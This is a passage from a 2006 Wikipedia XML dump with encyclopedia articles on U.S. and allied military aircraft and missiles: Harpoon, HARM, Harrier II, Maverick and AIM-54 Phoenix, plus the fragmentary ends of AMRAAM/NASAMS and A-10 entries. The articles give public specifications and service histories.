* [http://www.global-defence.com/2000/pages/fraam.html FMRAAM at Global-Defence.com]
* [http://www.global-defence.com/2000/pages/fraam.html Meteor vs. FMRAAM at Global-Defence.com]
* [http://www.kangaldogs.net/training/docs/nato.htm NATO brevity words]
* [http://www.raytheon.com/products/stellent/groups/rms/documents/content/cms01_054563.pdf Raytheon: AIM-120 AMRAAM]
* [http://www.deagel.com/pandora/?p=pm00003001 More HUMRAAM information]
* [http://www.kongsberg.com/eng/kda/products/Aircraft/NASAMS/ NASAMS (Kongsberg Defence &amp; Aerospace official information)]
* [http://www.gbad.org/gbad/amd_nasams.html NASAMS (third-party information)]

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[[Category:Republic of Singapore Air Force guided missiles]]
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[[Category:Surface-to-air missiles of Norway]]
[[Category:Raytheon products]]

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  </page>
  <page>
    <title>AGM-84 Harpoon</title>
    <id>3148</id>
    <revision>
      <id>37965786</id>
      <timestamp>2006-02-03T06:27:18Z</timestamp>
      <contributor>
        <ip>200.38.7.41</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''AGM-84 ''Harpoon''''' is a [[United States|U.S.]] all-weather, over-the-horizon, [[anti-ship missile|anti-ship]] [[cruise missile]] system, originally developed by [[McDonnell Douglas]], with development and manufacturing now taken over by [[Boeing Integrated Defense Systems]]. In 2004, Boeing delivered the 7000th Harpoon unit since the weapon's introduction in 1977. The missile system has also been further developed into a coastal strike version, the '''AGM-84E Standoff Land Attack Missile''' ('''SLAM''').
[[Image:Harpoon asm bowfin museum.jpg|thumb|right|300px|A Harpoon missile on display at the [[USS Bowfin (SS-287)|USS ''Bowfin'']] [[museum]] at [[Pearl Harbor]], [[Hawaii]].]]

Harpoon uses [[active radar homing]] and low-level, sea-skimming cruise trajectory to improve survivability and effectiveness. The missile's launch platform options include:
*[[warship|surface ship]]s ('''RGM-84''', fitted with a [[solid rocket]] launch booster that detaches when expended to allow the missile's integral [[turbojet]] to maintain flight)
*[[submarine]]s ('''UGM-84''', fitted with a solid-rocket launch booster and encapsulated in a container to enable submerged launch through a torpedo tube)
*[[airplane]]s ('''AGM-84''', without the booster)
*coastal defense batteries

The chief competitor of the ''Harpoon'' is the French ''[[Exocet]]''.

==Versions and operators==

===Original Harpoon===
Initially developed for the [[United States Navy|US Navy]] to serve as its basic anti-ship missile for fleet-wide use, the '''AGM-84D''' has been adapted for use on Air Force [[B-52 Stratofortress|B-52G bombers]], which can carry from eight to 12 of the missiles. The AGM-84E has been adapted for use on the [[F-16 Fighting Falcon]], in use by both the [[United States|USA]] and the [[United Arab Emirates]]. The [[Royal Australian Air Force]] can fire AGM-84 series missiles from its [[General Dynamics F-111#F-111C|F-111C/G Aardvark]], [[F/A-18 Hornet]] and [[P-3 Orion|AP-3C Orion]] aircraft.  The [[Egyptian Navy]] uses the Harpoon SSM to equip eight [[frigate]]s and four [[submarine]]s.

The AGM-84A was first introduced in [[1977]], and in [[1979]] an air-launched version was deployed on the Navy's P-3 Orion aircraft.

===Harpoon Block II===
[[Image:Harpoon-block-II-launch.jpg|thumb|300px|left|Harpoon Block II test firing from [[USS Decatur (DDG-73)|USS ''Decatur'']].]]

In production at Boeing facilities in [[Saint Charles, Missouri|St. Charles, Mo.]] is the '''Harpoon II''', intended to offer an expanded engagement envelope and advanced [[electronic countermeasures|counter measures]] together with improved targeting. The key improvements of the Harpoon II are obtained by incorporating the [[inertial measurement unit]] from the [[Joint Direct Attack Munition|JDAM]] program, and the software, computer, [[Global Positioning System|GPS]]/inertial navigation system and GPS antenna/receiver from the '''SLAM-ER''' ('''''E'''xpanded '''R'''esponse'', an upgrade to the AGM-84E SLAM).

The first international customer for Harpoon Block II systems was the [[Royal Danish Navy]], which ordered 50 upgrade kits in 1997; the first systems were delivered in 2002.

&lt;br clear=&quot;all&quot; /&gt;
==General characteristics==
* Primary function: Air, surface, or [[submarine]] launched anti-surface (anti-ship) cruise missile.
* Contractor: [[Boeing Integrated Defense Systems]]
* Power plant: Teledyne Turbojet and solid propellant booster for surface and submarine launch.
* Thrust: 2.9 [[kilonewton|kN]] (660 [[Pound-force|lbf]])
* Length: 
** Air launched: 3.8 m (12 ft 7 in)
** Surface and submarine launched: 4.6 m (15 ft)
* Weight: 
** Air launched: 519 kg (1,160 lb)
** Submarine or ship launched from box or canister launcher: 628 kg (1,523 lb)
* Diameter: 340 mm (13.5 in)
* Wing span: 910 mm (3 ft) with booster fins and wings
* Range: Over-the-horizon. 
**'''AGM-84D''' - 220 km (120 nm).
**'''RGM/UGM-84D''' - 140 km (75 nm).
**'''AGM-84E''' - 93 km (50 nm).
**'''AGM-84F''' - 315 km (170 nm.) 
**'''AGM-84H/K'''- 280 km (150 nm).
* Speed: High subsonic, around 850 km/h (460 [[knot (speed)|knot]]s, 240 m/s, 530 mph)
* Guidance: Sea-skimming cruise monitored by radar altimeter, active radar terminal homing.
* Warhead: 221 kg (488 lb), penetration high-explosive blast
* Unit cost: [[United States dollar|US$]]720,000
* Date deployed:
** Ship launched (RGM-84A): [[1977]]
** Air  launched (AGM-84A): [[1979]]
** Submarine launched (UGM-84A): [[1981]]
** SLAM (AGM-84E): [[1990]]
** SLAM-ER (AGM-84H): [[1998]] (delivery); [[2000]] (initial operational capability, IOC)
** SLAM-ER ATA (AGM-84K): [[2002]] (IOC)

==External links==
*[http://www.boeing.com/defense-space/missiles/harpoon/index.htm Official Harpoon information] &amp;ndash; At Boeing's website
*[http://www.astronautix.com/lvs/harpoon.htm Detailed information of all Harpoon versions and upgrades] &amp;ndash; From Encyclopedia Astronautica

*[http://www.designation-systems.net/dusrm/m-84.html AGM-84 variants]
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  <page>
    <title>AGM-88 HARM</title>
    <id>3149</id>
    <revision>
      <id>41475504</id>
      <timestamp>2006-02-27T16:34:11Z</timestamp>
      <contributor>
        <username>Big Smooth</username>
        <id>893445</id>
      </contributor>
      <comment>typos, clarification, links added</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;300px&quot;
|+ &lt;big&gt;'''AGM-88 HARM Anti-Radiation Missile'''&lt;/big&gt;&lt;br&gt;&lt;small&gt;'''Technical Summary'''&lt;/small&gt;
|-
|align=&quot;center&quot; colspan=&quot;2&quot;| [[Image:AGM-88-HARM-navy.gif|thumb|none|300px|An AGM-88 HARM missile loaded aboard an aircraft]] 
|-
| Primary Function:
| Air-to-surface anti-radiation missile; attack and destroy hostile radar installations.
|-
| Contractor:
| [[Raytheon Corporation]] (originally developed by [[Texas Instruments]])
|-
| Power Plant:
| [[Thiokol]] dual-thrust, solid-propellant [[rocket]] [[motor]]
|-
| Length:
| 4.1m (13 ft 8 in)
|-
| Launch Weight:
| 360 kg (800 lb)
|-
| Diameter:
| 254 mm (10 in)
|-
| Wing Span:
| 1.1 m (3 ft 8 in)
|-
| Range:
| 90+ km (80+ statute miles, 57+ nautical miles)
|- 
| Speed:
| 340 m/s (760+ mph)
|-
| Guidance:
| radar homing
|-
| Warhead:
| Blast fragmentation; warhead weight 68 kg (150 lb)
|- 
| Unit Cost:
| US$284,000
|- 
| Date Deployed:
| [[1985]]
|}


The '''AGM-88 High-Speed Anti-radiation Missile (HARM)''' is an air-to-surface tactical [[missile]] designed to seek out and destroy enemy [[radar]]-equipped air defense systems. The missile was originally developed by [[Texas Instruments]] as a replacement for the [[AGM-78 Standard]] ARM system. Production was later taken over by [[Raytheon Corporation]].

The AGM-88 can detect, attack and destroy a target with minimal aircrew input. The proportional guidance system that homes in on enemy radar emissions has a fixed antenna and seeker head in the missile's nose. A smokeless, solid-propellant, [[dual-thrust]] [[rocket motor]] propels the missile at speeds up to [[Mach number|Mach]] 4.

The HARM missile was approved for full production in March [[1983]]. It proved effective against [[Libya|Libyan]] targets in the [[Gulf of Sidra]] in [[1986]], and was used extensively by the [[United States Navy]] and the [[United States Air Force]] for Operation Desert Storm during the [[Gulf War]] of [[1991]]. 

==See also==
*[[Anti-radiation missile]]
*[[List of missiles]]

[[Category:Anti-radiation missiles of the United States|AGM-088]]
[[Category:Anti-radiation missiles of Germany|AGM-088]]
[[Category:Cold War anti-radiation missiles]]
[[Category:Modern American weapons]]
[[Category:Raytheon products]]

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  <page>
    <title>Harrier II</title>
    <id>3150</id>
    <revision>
      <id>41569329</id>
      <timestamp>2006-02-28T05:17:46Z</timestamp>
      <contributor>
        <username>Ingoolemo</username>
        <id>71699</id>
      </contributor>
      <comment>Removing unnecessary parametres. using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:harrier.av8b.750pix.jpg|thumb|200px|April 7th 2003: an AV-8B Harrier &quot;Jump Jet&quot; takes off from the assault ship USS Nassau, to engage targets over Iraq in support of Operation Iraqi Freedom]]

The '''Harrier II''' is a family of second generation vertical/short takeoff and landing ([[V/STOL]])  [[turbofan|jet]] aircraft of the late 20th century. They were developed from the earlier [[Hawker-Siddeley Harrier]]s, are primarily used for light attack or [[multi-role]] tasks, and are almost all operated from small aircraft carriers. Versions of it are used primarily by [[NATO]] countries, and the non-NATO country of [[India]]. This includes:

*The [[Royal Air Force]] and [[Fleet Air Arm]] of the [[United Kingdom]] under a number of variants and versions starting in the late 1980s, including the GR7, T10, FRS1, FA.2 and T4 versions. (''see [[RAF Harrier II]], [[BAE Sea Harrier]] '')
*[[United States Marine Corps]] as the [[McDonnell Douglas AV-8B]] and TAV-8B starting in 1985.
*The [[Spanish Navy|Spanish Naval air wing]] (''Arma Aerea De La Armada'') as the [[EAV-8B]], AV8-S and TAV-8S.
*The [[Marina Militare|Italian Navy air wing]] (''Aviazione per la Marina Militare'') as the AV-8B and TAV-8.
*The [[Indian Navy]] as the FRS51 and T60.

The Harrier II is also notable in history as an example of U.S.-U.K cooperation and of [[Cold War]] defense achievements. Of note is the U.S aid funding early development under the [[Mutual Weapons Development Program]] (MWDP) and the salvaging of what was left of [[AV-16A Advanced Harrier Program]] by McDonnell Douglas, making the second-generation family possible.  

==History==
===Introduction===
The aircraft had its direct origins in a Joint U.S.-British project (Hawker-Siddeley and McDonnell Douglas Aircraft) for a much-improved Harrier aircraft, to be the AV-16A Advanced Harrier program. However cost over-runs in engine development on the part of Rolls Royce and in the aircraft development caused the British to pull out of the program. Interest remained in the U.S. so a less ambitious, though still expensive project was undertaken by McDonnell on their own catered to U.S. needs. Using things learned from AV-16A development, though dropping some things such as further Pegasus development, the development work continued leading the AV-8B for the U.S. Marine Corps. The aircraft was centered on the Marine's needs, light ground attack and was focused on payload and range as opposed to speed. In the late 1970 the British re-entered development of their own second generation Harrier based on the U.S. design leading eventually to the GR.5, which had somewhat different performance goals.

===Overview and Use===
The '''AV-8B''' is an extensively redesigned aircraft with a new [[composite material|composite]] wing, new cockpit and [[avionics]] (e.g., FLIR and new bombing system), and more powerful engine. The new wing enables higher take-off weights and more ordnance. The payload was nearly double and the range much increased over the older design, one of the chief complaints with the older type. It was focused primarily on close-air support, and all the added capabilities came at the cost of about 50 mph (80 km/h) slower speed. The AV-8B was put into service in January [[1985 in aviation|1985]] at a cost of US$21.6 million each. The design was further developed into later types with high-speed, that placed less focus on payload and range.

The primary mission of the AV-8B in [[USMC]] service is to provide responsive close air support for ground forces. This single-piloted, advanced V/STOL aircraft can operate from short fields, forward sites, roads and surface ships providing minimum response time to targets. Recent AV-8B II+ have an expanded secondary air-to-air role.

Three AV-8B squadrons stationed about 40 miles (64 km) from the [[Kuwait|Kuwaiti]] border, were the most forward deployed tactical strike aircraft during Operation [[Desert Storm]] and operated from relatively unprepared sites. One AV-8B squadron and one six-aircraft detachment operated off the landing helicopter ship [[USS Nassau|''USS Nassau'']] in the [[Persian Gulf]]. The average turnaround time during the ground war surge was 23 minutes.  A total of 86 [[United States Marine Corps|Marine]] Harriers flew 3,567 sorties against [[Iraq]]i targets in [[Kuwait]] and Iraq.  Five Harriers were lost&amp;nbsp;&amp;ndash; four in combat.  Following the war, Marine Corps analysis showed that the placement of the engine nozzles that allow for the Harrier's Vertical Take-Off/Landing made the aircraft far more vulnerable to [[infrared]] [[surface-to-air missile]] fire than other aircraft. This is because the nozzles are almost dead center on the aircraft, which means that when infra-red guided missiles hit they generally damage a greater number of systems.

In the [[2003 invasion of Iraq]], Harrier II versions saw extensive usage by both the USMC and RAF. USMC Harriers were based on two USMC amphibious assault ships, [[USS Bataan (LHD-5)|''USS Bataan'' (LHD-5)]] and [[USS Bonhomme Richard (LHD-6)|''USS Bonhomme Richard'' (LHD-6)]]. Each carried 24 Harriers, about four times their normal complement of fixed-wing aircraft, and tried out the long dormant secondary purpose of the LHDs and LHAs, that of a small aircraft carrier, or sea control ship. RAF Harriers were shore-based in Kuwait. Two detachments from [[RAF Cottesmore]] were sent to the region, with one known to have been based at the Ahmed al Jaber Air Base ({{coor dms|28|56|05|N|47|47|31|E}}) in Kuwait, and the other at an undisclosed location. A total of 23 RAF Harriers took part in the campaign; one USMC Harrier crashed into the [[Persian Gulf]] early in the war while trying to land on the ''USS Nassau''. The pilot ejected.

The current AV-8B Remanufacture Program converts older AV-8B day attack aircraft to the most recent production radar/night attack configuration. This radar-equipped version of the AV-8B, called the AV-8B II+, became operational in the summer of [[1994 in aviation|1994]]. The AV-8B II+ uses the same [[AN/APG-65]] radar system as the [[F/A-18 Hornet]] and is able to carry [[AIM-120 AMRAAM]] missiles, giving the aircraft a considerable increase in anti-aircraft capabilities. However, these missiles are most likely to be deployed as a means of self-defense or airbase defense instead of air superiority, because despite its agility, the Harrier is subsonic and therefore slower than most fighters. 

'''Avionics:''' [[AN/APG-65]] radar, ASB-19(V) angle-rate bombing system, laser spot tracker, TV tracker, CEC-Marconi [[FLIR]], [[GPS]]

==Manufacture==
Aircraft were built by McDonnell Douglas and [[BAE Systems]] the latter at their [[Warton]] facility in [[Preston]], [[Lancashire]] in the [[UK]]. The factory is also home to the [[Panavia Tornado]], [[SEPECAT Jaguar]], [[BAE Hawk|BAe Hawk T1]] , [[Hawker-Siddeley Nimrod#MRA4|BAe Nimrod MRA4]] and more currently being built there the [[Eurofighter Typhoon]].

The aircraft is known mainly as the '''AV-8B''' in [[USMC]] service and the '''[[RAF Harrier II|GR7/GR9]]''' in RAF service. The '''AV-8A''' (and also TAV-8A versions) , which was the previous generation of Harrier and should not be confused with the next generation, was a [[Hawker-Siddeley Harrier#Harrier GR.3|Hawker-Siddeley Harrier GR.3]] procured for the [[United States Marine Corps|US Marine Corps]].

==Variants==
Harrier II variants can vary significantly depending on the exact model, even among a single country's aircraft. 

* '''YAV-8B''' 
* '''AV-8B''' Harrier II&amp;nbsp;&amp;mdash; Two versions were developed.  The first was commonly known as the &quot;Day Attack&quot; variant.  Later, a &quot;Night Attack&quot; variant was fielded (1991).  The Night Attack Harrier incorporated a Navigation Forward Looking Infrared camera (NAV FLIR) and the cockpit was made compatible with night vision goggles (NVGs).  It was also able to use the larger Rolls Royce engine.  The II+ described below is identical to the Night Attack variant, except it incorporates an APG-65 radar, the same as in early F/A-18 Hornets.
* '''AV-8B II+'''&amp;nbsp;&amp;mdash; AV-8B with radar (APG-65) allowing firing of radar guided air-to-air missiles; should be designated '''AV-8C'''.
* '''AV-8C'''&amp;nbsp;&amp;mdash; An experimental version developed from the AV-8B model
* '''TAV-8B''' Harrier II&amp;nbsp;&amp;mdash; A two-seat trainer version

* '''EAV-8B'''&amp;nbsp;&amp;mdash; Spanish Navy version

* '''Harrier GR5'''&amp;nbsp;&amp;mdash; First RAF version of [[RAF Harrier II]]
* '''Harrier GR7'''&amp;nbsp;&amp;mdash; Avionics upgrade to GR5
* '''Harrier GR7A'''&amp;nbsp;&amp;mdash; GR7 with more powerful engine
* '''Harrier GR9'''&amp;nbsp;&amp;mdash; Avionics upgrade to GR7
* '''Harrier GR9A'''&amp;nbsp;&amp;mdash; Avionics upgrade and more powerful engine

==Operating squadrons==
===USMC===
*[[VMA-211]] [http://www.3maw.usmc.mil/MAG13/VMA211/default.asp VMA-211 official page]
*[[VMA-214]] [http://www.3maw.usmc.mil/MAG13/VMA214/default.asp VMA-214 official page]
*[[VMA-311]] [http://www.3maw.usmc.mil/MAG13/VMA311/default.asp VMA-311 official page]
*[[VMA-513]] [http://www.3maw.usmc.mil/MAG13/VMA513/default.asp VMA-513 official page]
*[[VMA-203]] (Fleet Replacement Squadron)[http://www.2maw.usmc.mil/MAG14/vmat203/default.asp  VMAT-203 official page]
*[[VMA-231]] [http://www.2maw.usmc.mil/MAG14/vma231/default.asp VMA-231 official page]
*[[VMA-223]] [http://www.2maw.usmc.mil/MAG14/vma223/default.asp VMA-223 official page]
*[[VMA-542]] [http://www.2maw.usmc.mil/MAG14/vma542/default.asp VMA-542 official page]

===RAF===
* [[No. 1 Squadron RAF|No. 1 Squadron]]
* [[No. 3 Squadron RAF|No. 3 Squadron]]
* [[No. IV Squadron RAF|No. IV Squadron]]
* [[No. 20 Squadron RAF|No. 20 Squadron]]
* [[RAF SAOEU]] Strike Attack Operational Evaluation Unit

==Specifications (AV-8B)==
Note:&amp;nbsp; Data may differ for other versions.

===General characteristics===
* '''Crew:''' 1
* '''Length:''' 46 ft 4 in (14.1 m)
* '''Wingspan:'''  30 ft 4 in (9.2 m)
* '''Height:'''   11 ft 9 in (3.5 m)
* '''Wing area:'''  243.4 ft&amp;sup2; (22.61  m&amp;sup2;)
* '''Empty:'''   12,500 lb (5,700 kg)
&lt;!--
* '''Loaded:'''   lb ( kg)
--&gt;
* '''Maximum takeoff:'''  29,750 lb (13,400 kg)
* '''Power plant:''' 1x [[Rolls-Royce F402]]-RR-408, 23,800 lbf (106 kN) thrust

===Performance===
* '''Maximum speed:'''  629 mph (1000 km/h) 547 knots
* '''Range:'''  685 miles (1,000 km)
* '''Service ceiling:'''   50,000 ft (15,000 m)
* '''Rate of climb:'''   14,715 ft/min (4,485 m/min)
&lt;!--
* '''Wing loading:'''  lb/ft&amp;sup2; (kg/m&amp;sup2;)
* '''Thrust/weight:'''
--&gt;

===Armament===
*Detachable fuselage strakes can be replaced with pods for one [[GAU-12 Equalizer|GAU-12U &quot;Equalizer&quot;]] 25 mm cannon (left pod) and 300 rounds of ammunition (right pod) 7 pylons for a maximum of 13,200 lb (STOL) of stores, including: Iron bombs, cluster bombs, napalm canisters, laser-guided bombs, [[AGM-65 Maverick]] missiles, and up to four [[AIM-9 Sidewinder]] or similar-sized infrared-guided missiles. AV-8B+ variants can carry up to four [[AIM-120 AMRAAM]] missiles.

==Films==
The Harrier II made an appearance in the [[Arnold Schwarzenegger]] spy-action movie ''[[True Lies]]'' and in the [[science fiction]] movie ''[[Battlefield Earth]]'' starring [[John Travolta]]. It also appeared as the [[Aerialbots|Aerialbot]] [[Slingshot]] in ''[[Transformers (toyline)|The Transformers]]''. It also was seen in the spy movie spoof ''[[Spy Hard]]'' starring [[Leslie Nielsen]]. An alien ship was disguised as a Harrier II in a [[Japanese people|Japanese]] science fiction movie, ''[[The Returner]]''.

==External links==
*[http://www.rtptv.homestead.com/rtpharrier.html RTP-TV AeroSpace Show: Video of Harrier Hovering]
*[http://www.history.navy.mil/planes/av-8b.pdf Navy.mil - Standard Aircraft Characteristics: AV-8B Harrier II]
* [http://news.mod.uk/news/press/news_headline_story.asp?newsItem_id=3462 UK MoD Release lauds No. 1 Squadron &amp; No. 3 Squadron's role in Afghanistan] with GR7As (August 10, 2005)
* Defense Industry Daily: [http://www.defenseindustrydaily.com/2005/03/av8b-harrier-finding-success-in-iraq/index.php AV-8B Harrier finding Success in Iraq] (March 30, 2005)

==Related content==
{{aircontent|

|sequence=
* [[A-5 Vigilante|A-5]] - [[A-6 Intruder|A-6]] - [[A-7 Corsair II|A-7]] - '''AV-8''' - [[Northrop YA-9|YA-9]] - [[A-10 Thunderbolt II|A-10]] - [[A-12 Avenger II|A-12]]

&lt;!-- From which older designs was this plane developed, and what planes did it lead to? --&gt;
|related=
* [[Hawker P.1127]]
* [[Hawker Kestrel]]
* [[Hawker-Siddeley Harrier]]
* [[BAE Sea Harrier|Sea Harrier]]
* [[RAF Harrier II]]

|similar aircraft=
* [[Boeing X-32]]
* [[F-35 Joint Strike Fighter]]
* [[Yakovlev Yak-38]]

|lists=
* [[List of military aircraft of the United States]]

|see also=

}}

[[Category:Carrier-based aircraft]]
[[Category:U.S. attack aircraft 1970-1979]]
[[Category:United States Marine Corps equipment]]
[[Category:VTOL aircraft]]

[[fi:Harrier]]
[[fr:AV-8 Harrier II]]
[[hu:Harrier]]
[[pt:AV-8 Harrier II]]
[[sv:Harrier]]</text>
    </revision>
  </page>
  <page>
    <title>AGM-65 Maverick</title>
    <id>3151</id>
    <revision>
      <id>38026054</id>
      <timestamp>2006-02-03T18:09:57Z</timestamp>
      <contributor>
        <username>GCarty</username>
        <id>10379</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;300px&quot;
|+ &lt;big&gt;'''AGM-65 Maverick'''&lt;/big&gt;&lt;br&gt;&lt;small&gt;'''Technical Summary'''&lt;/small&gt;
|-
|align=&quot;center&quot; colspan=&quot;2&quot;| [[Image:AGM-65_Maverick.jpg|thumb|300px|A pilot inspects an AGM-65 Maverick missile on his [[A-10 Thunderbolt]].]]
|-
|Primary function
|Air-to-surface [[guided missile]]; attack and destroy armor, air defenses, ships, ground transportation, and fuel installations.
|-
|Contractor
|[[Hughes Aircraft Corporation]]; [[Raytheon Corporation]].
|-
|Power plant
|[[Thiokol]] TX-481 [[dual-thrust]] [[solid propellant]] [[rocket motor]]
|-
|Length
|2.55 m (8 ft 2 in)
|-
|Launch weight
|From 208 kg (462 lb) to 302 kg (670 lb) depending upon model and warhead weight
|-
|Diameter 
|305 mm (12 in)
|-
|Wing span
|710 mm (2 ft 4 in)
|-
|Range (max. at high altitude)
|27 km (17 statute miles, 15 nautical miles)
|-
|Range (max. at low altitude)
|13 km (8 statute miles, 7 nautical miles)
|-
|Guidance 
|Electro-optical in A, B, K, and H models; infrared imaging in D and G models; laser guided in E models; infrared homing in F models.
|-
|Warhead
|135 kg (300 lb); contact fuze, delayed fuze penetrator, heavyweight
|-
|Unit cost
|Up to US$160,000
|-
|Date first deployed
|August [[1972]]
|}

The '''AGM-65 Maverick''' is an [[air-to-surface missile|air-to-surface tactical missile]] (ASM) designed for close air support, prohibition, and forceful prevention. It is effective against a wide range of [[Military tactic|tactical]] targets, including [[armor]], air defenses, [[ship]]s, ground transportation, and fuel storage facilities.

The AGM-65F ([[infrared]] targeting) used by the [[United States Navy|US Navy]] has an [[infrared]] guidance system optimized for ship tracking and a larger penetrating warhead than the [[shaped charge]] used by the [[United States Marine Corps|US Marine Corps]] and the [[United States Air Force|US Air Force]] (300 pounds (136 kg) vs 125 pounds (57 kg)). The AGM-65 has two types of [[warhead]]s; one has a contact [[Fuse (explosives)#Fuze|fuze]] in the nose, and the other has a heavyweight warhead with a delayed fuze, which penetrates the target with its [[kinetic energy]] before firing. The latter is most effective against large, hard targets. The propulsion system for both types is a solid-fuel rocket motor behind the warhead.

AGM-65 missiles were employed by [[F-16 Fighting Falcon]]s and [[A-10 Thunderbolt II]]s during Operation [[Gulf War|Desert Storm]] in [[1991]] to attack armored targets. Mavericks played a large part in the destruction of [[Iraq]]'s military force. 

LAU-117 Maverick launchers have also been used on USA navy and air force [[aircraft]]: [[A-4 Skyhawk]], [[A-6 Intruder]], [[A-7 Corsair II]], [[AH-1 Cobra|AH-1W]], [[AV-8 Harrier II]], [[F-4 Phantom II]], [[F-5 Freedom Fighter]], [[F-15 Eagle]], [[F/A-18 Hornet]], [[General Dynamics F-111]], [[P-3 Orion]], and [[SH-2 Seasprite|SH-2G]]; and the [[Royal Air Force|UK Royal Air Force]]' [[AV-8 Harrier II|Harrier GR7]].

[[Category:American Cold War air-to-surface missiles]]
[[Category:Modern American air-to-surface missiles]]
[[Category:Raytheon products]]

[[de:AGM-65 Maverick]]
[[pt:AGM-65 Maverick]]
[[fi:AGM-65 Maverick]]
[[sv:Robot 75 Maverick]]</text>
    </revision>
  </page>
  <page>
    <title>AIM-54 Phoenix</title>
    <id>3152</id>
    <revision>
      <id>41675065</id>
      <timestamp>2006-03-01T00:06:28Z</timestamp>
      <contributor>
        <username>Prodego</username>
        <id>451766</id>
      </contributor>
      <minor />
      <comment>clarify, AIM-54 is still a missile, just not in use</comment>
      <text xml:space="preserve">[[Image:AIM-54 Phoenix.jpg|thumb|300px|An AIM-54 Phoenix]]The '''AIM-54 Phoenix''' is a long-range [[air-to-air missile|air-to-air]] [[missile]], carried in clusters of up to six missiles on the [[F-14 Tomcat]], the only aircraft capable of carrying it.

The Phoenix missile was the [[US Navy]]'s only long-range air-to-air missile. It is an airborne weapons control system with multiple-target handling capabilities, used to kill multiple air targets with conventional warheads. Near simultaneous launch is possible against up to six targets in all weather and heavy jamming environments. The improved Phoenix, the AIM-54C, was developed to better counter projected threats from tactical aircraft and cruise missiles.

The AIM-54 Phoenix was retired from USN service on [[30 September]] [[2004 in aviation|2004]].

==Versions==
'''AIM-54A''': The original version to become operational, in [[1974 in aviation|1974]]. 

'''AIM-54C''': Improved version, better able to counter [[cruise missiles]]. Superseded the AIM-54A from [[1986 in aviation|1986]].

'''AIM-54 ECCM/[[Sealed round|Sealed]]''': Improved to include electronic counter-countermeasure capabilities, does not require coolant conditioning during captive flight. Used from [[1988 in aviation|1988]] onwards.

Because the AIM-54 ECCM/Sealed receives no coolant, [[F-14 Tomcat|Tomcats]] carrying this version of the missile may not exceed a certain airspeed.
In recent years, [[Iran]] is said to have developed its own version of the Phoenix.

==Combat performance==
Reports of use of the 285 missiles supplied to Iran [http://www.aerospaceweb.org/question/planes/q0077.shtml] during the [[Iran-Iraq War]], from 1980&amp;ndash;88, vary, with some sources claiming as many as 25 kills with it [http://www.iiaf.net/aircraft/jetfighters/F14/f14.html] and others suggesting sabotage of the aircraft making it impossible to fire the missile or no kills for other reasons. It is generally reported that the primary use of the [[F-14]] was as an [[airborne early warning]] aircraft, guarded by other fighters. However, some insist that this is incorrect and point to the experience of fighting Iraqi pilots during the [[1991 Gulf War]]. Iraqi fighter pilots consistently turned and fled as soon as American F-14 pilots turned on their fighters' very distinctive [[AN/AWG-9]] radars.

The [[Gulf of Sidra incident (1981)]], in which American F-14s shot down 2 [[Libya]]n [[Su-22]]s is sometimes thought to have involved AIM-54. However, the engagement was conducted at short ranges using the [[AIM-9 Sidewinder]]. The other US F-14 fighter to fighter engagement, the [[Gulf of Sidra incident (1989)]] used [[AIM-7 Sparrow]] and Sidewinder missiles, not the Phoenix.

In training, the Phoenix hit a target drone at a range of 212 km (in January 1979, in Iran).

Actual ranges at which the Phoenix has successfully hit targets in tests:
* longest shot to kill: ~ 140 km
* average engagement ranges: 20 to 70 km
* the shortest shot to kill: 7.5 km

Other than the possible Iranian firings, the only confirmed combat use of the Phoenix was the use of it by 2 F-14Ds engaging [[Iraq]]i [[MiG-25]]s.  Both missiles missed.  One reportedly followed a MiG-25 into the ground that possibly crashed when it ran out of fuel.

==Characteristics==
*Primary function: Long-range air-launched air intercept missile
*Contractor: [[Hughes Aircraft Company]] and [[Raytheon Corporation]]
*Unit cost: US$ 477,131
*Power Plant: Solid propellant rocket motor built by Hercules
*Length: 3.9 m (13 ft)
*Weight: 460 kg (1,024 lb)
*Diameter: 380 mm (15 in)
*Wing span: 900 mm (3 ft)
*Range: 184 km (114.3 miles, 99.4 nautical miles)
*Speed: &gt;1300 m/s (3,000 mph)
*Guidance system: Semi-active and active radar homing
*Warheads: [[Proximity fuze]], high explosive
*Warhead weight: 60 kg (135 lb)
*Users: USA ([[US Navy]]), Iran
*Date deployed: [[1974 in aviation|1974]]
*Date retired (US): Sep 30th 2004

== See also ==
*[[AIM-47 Falcon]]
*Medium range air-to-air missiles: [[AIM-7 Sparrow]], [[MBDA Meteor]], [[AIM-120 AMRAAM]]
*Short range air-to-air missiles: [[AIM-9 Sidewinder]]
* [[List of missiles]]

{{airlistbox}}

==External links==
* http://www.fas.org/man/dod-101/sys/missile/aim-54.htm

[[Category:Air-to-air missiles of the United States|AIM-054]]
[[Category:Air-to-air missiles of Iran|AIM-054]]
[[Category:Iran-Iraq War guided missiles|AIM-054]]
[[Category:Raytheon products]]

[[de:AIM-54 Phoenix]]
[[ko:AIM-54 피닉스]]
[[ja:フェニックス (ミサイル)]]
[[zh:AIM-54]]</text>
    </revision>
  </page>
  <page>
    <title>A-10 Thunderbolt II</title>
    <id>3153</id>
    <revision>
      <id>42114517</id>
      <timestamp>2006-03-03T22:40:05Z</timestamp>
      <contributor>
        <username>EagleWSO</username>
        <id>606547</id>
      </contributor>
      <minor />
      <comment>/* Operational service */</comment>
      <text xml:space="preserve">&lt;!-- This article is a part of [[Wikipedia:WikiProject Aircraft]]. Please see [[Wikipedia:WikiProject Aircraft/page content]] for recommended layout. --&gt;
[[Image:Thunderbolt_II_flight_above.jpg|thumb|300px|A-10 Thunderbolt II]]
[[Image:A10Thunderbolt2 990422-F-7910D-517.jpg|thumb|right|300px|USAF A-10A Thunderbolt II]]
[[Image:Thunderbolt - Closeup.jpg|thumb|right|300px|USAF A-10 Thunderbolt from 1975]]
The '''A-10/OA-10 Thunderbolt II''', nicknamed and universally known as the &quot;Warthog&quot;, is the first [[US Air Force]] aircraft designed for [[close air support]](CAS) of ground forces. It is a simple, effective and hardy single-seat, twin-engine [[jet aircraft]] designed to attack [[tank]]s, [[armored vehicle]]s, and other ground targets. It is named after the [[P-47 Thunderbolt]] of World War II, a plane that was particularly good at the CAS mission.

==Origins==
